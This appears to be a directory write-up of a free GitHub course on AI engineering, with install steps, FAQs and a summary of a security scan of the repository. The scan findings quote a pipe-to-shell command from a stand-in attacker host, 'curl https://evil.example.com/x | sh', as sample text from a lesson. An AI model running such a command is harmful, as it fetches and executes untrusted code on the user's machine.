AI Engineering from Scratch: A Free 542-Lesson Course, Built by Hand (GitHub, Scanned)

AI Engineering from Scratch is a full course in a repository. Its 542 lessons in 20 phases start with setup and the maths, then move through machine learning, deep learning, transformers and building an LLM, to retrieval, tools and protocols such as MCP, agents, multi-agent systems and running AI in production. The idea is to implement each piece yourself before reaching for a framework, so you understand what the libraries do.

Lessons have code in Python, TypeScript, Rust, Julia or Go. There are learning paths for model foundations, LLM systems and agents, interactive labs, three graded projects with starter code and local tests, interview questions and certification study guides. You can read it all free on aiengineeringfromscratch.com, run it locally, or install its skills so your coding agent becomes a tutor with a placement quiz and lessons in the terminal.

It is by Rohit Ghumare and MIT-licensed, with about 79,000 stars and 32 contributors since March 2026, and it is updated almost daily. The README carries a sponsor banner for SerpApi.

• Repository: github.com/rohitg00/ai-engineering-from-scratch
• Licence: MIT (MIT License)
• Language: Python. Stars: 78.7K. Forks: 14K. Last push: Nov 13, 2026.
• Scan: safe, Nov 13, 2026, commit 8afa245

Who it is for

Software engineers moving into AI work, students who want more depth than a short tutorial, and self-taught learners who prefer building things to watching videos. Basic programming helps; the course starts with setup.

Getting started

1. Read the course in your browser, no setup needed

https://aiengineeringfromscratch.com

2. Or let your coding agent tutor you: install the course skills

npx skills add rohitg00/ai-engineering-from-scratch

3. Then ask your agent

Use start-learning to begin the course.

4. Or download it to run lessons and projects locally

git clone --depth 1 https://github.com/rohitg00/ai-engineering-from-scratch

The repository is large, about 14,500 files, so a shallow clone saves time. Some lessons call model APIs and need your own key; the lab scripts for Kubernetes and sandboxes are meant for a test machine, not your main one.

Safety scan

We cloned rohitg00/ai-engineering-from-scratch at commit 8afa245 on Nov 13, 2026 and ran the checks described on the GitHub Tools page: credential patterns, decode-and-execute code, install-time scripts, committed binaries, risky CI workflows, every host the code talks to, known vulnerabilities in pinned dependencies, and project hygiene. A person read every hit. This is what we found.

• 5 secret hits, all the same placeholder: a GitHub-style token made of zeros, used in a lesson on how Docker sandboxes keep a stand-in value instead of your real key. None is a real credential.
• 19 pattern hits, all explained. Two are strings like curl https://evil.example.com/x | sh inside a lesson about tool trust boundaries. Two lab scripts install Helm and the kagent CLI by piping their official installers into bash, one with sudo, and one lab script checks ports with bash's /dev/tcp. The rest are very long lines in generated figure scripts for the website and one solution file.
• 146 committed binaries, all teaching material: small compiled ELF, Mach-O and Windows programs and object files that lessons on binary inspection, reverse engineering and decompiling ask you to analyze. They are fixtures for exercises, not tools the course runs for you. As with any sample binary, inspect them rather than run them outside a sandbox.
• 4 moderate advisories, all in the MCP Python SDK 2.1.1 pinned by two project folders. No critical or high ones. The extra pass on its skills folder was clean: no hidden characters, injection phrases, exfiltration hosts, pipe-to-shell or hooks.
• Twelve workflows with one third-party action, pinned to a commit, and no pull_request_target. Contributing guide and code of conduct present; no security policy. The README carries a SerpApi sponsor banner and links to sponsorship options.

What the scanner counted

The raw findings

Every hit the scanner wrote out, with a link to the exact line at the scanned commit. Secrets candidates are redacted.

By the numbers

Lines by language: Markdown 496.6K, Python 285.3K, JSON 271.7K, JavaScript 162.5K, TypeScript 157.4K, HTML 27.5K.

Questions

Is AI Engineering from Scratch free?

Yes. The course, website and code are free and MIT-licensed. Sponsors support it, and some lessons need an API key from a model provider, which bills you directly.

Do I need to know machine learning first?

No. It starts with setup and the maths, and the learning paths let you start at models, LLM systems or agents depending on what you already know. You should be comfortable with basic programming.

How is it different from Microsoft's Generative AI for Beginners?

Microsoft's course, also on this list, is 21 lessons on building apps with existing models and services. This one is far longer and goes deeper, having you implement models, retrieval and agents yourself.

This post is part of GitHub Tools, where every repository is cloned and scanned before it is written up. The scan is a snapshot of one commit on one day; the repository has moved on since, so check it before you install.